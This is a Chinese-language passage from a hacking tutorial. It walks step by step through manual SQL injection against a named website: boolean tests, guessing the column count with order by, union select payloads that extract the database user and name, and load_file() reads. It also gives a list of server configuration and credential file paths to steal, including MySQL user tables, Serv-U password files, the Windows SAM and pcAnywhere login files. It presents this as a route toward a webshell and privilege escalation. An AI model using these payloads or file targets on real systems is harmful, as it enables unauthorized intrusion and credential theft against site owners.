第二步,开始测试寻找漏洞

    分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。

    1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123这种地址,属动态传参的

    2、测试方法:在地址后加 and 1=1 和 and 1=2 测试

    http:// /XXX.php?id=123and 1=1返回正常

    http://www.fovweb.com/XXX.php?id=123and 1=2返回错误

    恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续

    3、手工注入:

    注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。

    3.1 猜测当前表字段数

    http://www.fovweb.com/XXX.php?id=123and 1=1 order by10

    此处猜测有个简单的算法,都是有技巧的吗,呵呵

    算法简单如下:

    第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;

    第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;

    需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。

    以此来判断,是否过界,配合取中算法猜出字段数。

    举例

    http://www.fovweb.com/XXX.php?id=123and 1=1 order by3返回正常

    http://www.fovweb.com/XXX.php?id=123and 1=1 order by4返回错误

    此时3则为我们要找的字段数。

    3.2 配合union联合查询字段在页面所位置

    我们已经知道了字段数为3,此时则可以做如下操作:

    http://www.fovweb.com/XXX.php?id=123 and 1=2 unionselect 1,2,3

    这样就可以测试到哪些字段在页面上有所显示了,如图:

    INJECTION_技巧

    3.3 查敏感信息

    这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了

    http://www.fovweb.com/XXX.php?id=123 and 1=2 unionselect 1,user(),database()

    3.3.1 先查数据库用户、数据库名,以备后用,如图:

    INJECTION_手工_02

    得到数据库用户为root、数据库名为DBxx;

    3.3.2 查配置文件

    查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。

    查看文件有一定的条件限制:

欲读取文件必须在服务器上

必须指定文件完整的路径

必须有权限读取并且文件必须完全可读

欲读取文件必须小于 max_allowed_packet


    MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。


    常用的一些:

    /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件

    /usr/local/apache2/conf/httpd.conf

    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

    /usr/local/app/php5/lib/php.ini //PHP相关设置

    /etc/sysconfig/iptables //从中得到防火墙规则策略

    /etc/httpd/conf/httpd.conf // apache配置文件

    /etc/rsyncd.conf //同步程序配置文件

    /etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.

    /etc/my.cnf //mysql的配置文件

    /etc/redhat-release //系统版本

    /etc/issue

    /etc/issue.net

    c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码

    c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码

    c:\Program Files\Serv-U\ServUDaemon.ini

    c:\windows\my.ini //MYSQL配置文件

    c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件

    等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,

    c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

    c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此

    c:\Program Files\RhinoSoft.com\ServUDaemon.exe

    C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件

    //存储了pcAnywhere的登陆密码